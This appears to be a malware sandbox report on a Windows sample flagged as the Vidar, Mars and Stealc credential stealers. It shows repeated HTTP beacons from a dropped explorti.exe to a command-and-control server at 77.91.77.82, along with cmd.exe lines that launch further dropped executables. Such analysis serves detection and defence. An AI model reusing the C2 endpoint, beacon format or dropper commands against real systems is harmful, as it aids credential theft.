Jul 4, 2024 00:01:18.125020981 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:18.839488983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49872	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:18.962106943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:19.658890963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49873	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:19.679219961 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:20.367599964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49874	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:20.486913919 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:21.199839115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49875	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:21.213021040 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:21.949285030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49876	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:22.066313028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:22.787233114 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49877	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:22.802512884 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:23.532006979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49878	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:23.658333063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:24.362178087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49879	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:24.373662949 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:25.107893944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49880	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:25.242165089 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:25.930237055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49881	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:25.941163063 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:26.654217005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49882	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:26.770642996 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:27.468569994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49883	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:27.488068104 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:28.206518888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49884	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:28.329353094 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:29.028265953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49885	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:29.044342995 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:29.747447968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49886	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:29.860753059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:30.579767942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49887	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:30.589467049 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:31.304234028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49888	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:31.423207045 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:32.158195019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49889	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:32.168117046 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:32.887047052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49890	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:33.004276037 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:01:33.731885910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49891	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:01:33.748056889 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:01:34.474014997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:01:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	17:58:53
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb00000
File size:	2'465'792 bytes
MD5 hash:	F7F2373C7005D9978782BE75BEF6A1C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1869262770.0000000001D10000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:59:14
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:59:14
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:59:14
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BAAAKJDAAF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:59:14
Start date:	03/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
